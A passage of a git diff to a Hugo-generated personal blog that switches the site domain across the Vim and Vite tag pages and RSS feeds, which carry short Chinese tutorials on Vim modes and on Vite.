content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Vim"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Vim</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Vim编辑器</h2></header><div class=entry-content><p>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Vim | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/vim/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/vim/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Vim"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/vim/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Vim"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Vim</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Vim编辑器</h2></header><div class=entry-content><p>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
 普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）
@@ -27,7 +27,7 @@
 ?text：按n健查找上一个，按N健查找下一个
 :wq：保存并且退出，加!表示强制
 :q!：强制退出并且放弃所有更改
-:e!：放弃修改，并且重新打开文件</p></div><footer class=entry-footer><span title='2021-03-28 12:00:00 +0000 UTC'>2021-03-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vim编辑器" href=https://xiaochenabc123.github.io/posts/3/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+:e!：放弃修改，并且重新打开文件</p></div><footer class=entry-footer><span title='2021-03-28 12:00:00 +0000 UTC'>2021-03-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vim编辑器" href=https://chenjunlinabc.github.io/posts/3/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/vim/index.xml b/tags/vim/index.xml
index 03acca1e..99fa211b 100644
--- a/tags/vim/index.xml
+++ b/tags/vim/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Vim on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/vim/</link>
+    <link>https://chenjunlinabc.github.io/tags/vim/</link>
     <description>Recent content in Vim on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 28 Mar 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/vim/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 28 Mar 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/vim/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Vim编辑器</title>
-      <link>https://xiaochenabc123.github.io/posts/3/</link>
+      <link>https://chenjunlinabc.github.io/posts/3/</link>
       <pubDate>Sun, 28 Mar 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/3/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/3/</guid>
       <description>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
diff --git a/tags/vim/page/1/index.html b/tags/vim/page/1/index.html
index c41adfa5..bfb75001 100644
--- a/tags/vim/page/1/index.html
+++ b/tags/vim/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/vim/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/vim/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/vim/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/vim/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/vim/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/vim/"></head></html>
\ No newline at end of file
diff --git a/tags/vite/index.html b/tags/vite/index.html
index 9101360e..3771781e 100644
--- a/tags/vite/index.html
+++ b/tags/vite/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Vite | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/vite/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/vite/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Vite"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/vite/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Vite"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Vite</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Vite-前端构建工具</h2></header><div class=entry-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Vite | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/vite/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/vite/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Vite"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/vite/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Vite"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Vite</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Vite-前端构建工具</h2></header><div class=entry-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
 依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）
@@ -37,10 +37,8 @@
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
-配置vite.config.ts
-import legacy from '@vitejs/plugin-legacy'
-....</p></div><footer class=entry-footer><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vite-前端构建工具" href=https://xiaochenabc123.github.io/posts/87/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from '@vitejs/plugin-legacy' ....</p></div><footer class=entry-footer><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vite-前端构建工具" href=https://chenjunlinabc.github.io/posts/87/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/vite/index.xml b/tags/vite/index.xml
index 47396eea..67efa788 100644
--- a/tags/vite/index.xml
+++ b/tags/vite/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Vite on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/vite/</link>
+    <link>https://chenjunlinabc.github.io/tags/vite/</link>
     <description>Recent content in Vite on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 18 Aug 2021 14:20:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/vite/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 18 Aug 2021 14:20:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/vite/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Vite-前端构建工具</title>
-      <link>https://xiaochenabc123.github.io/posts/87/</link>
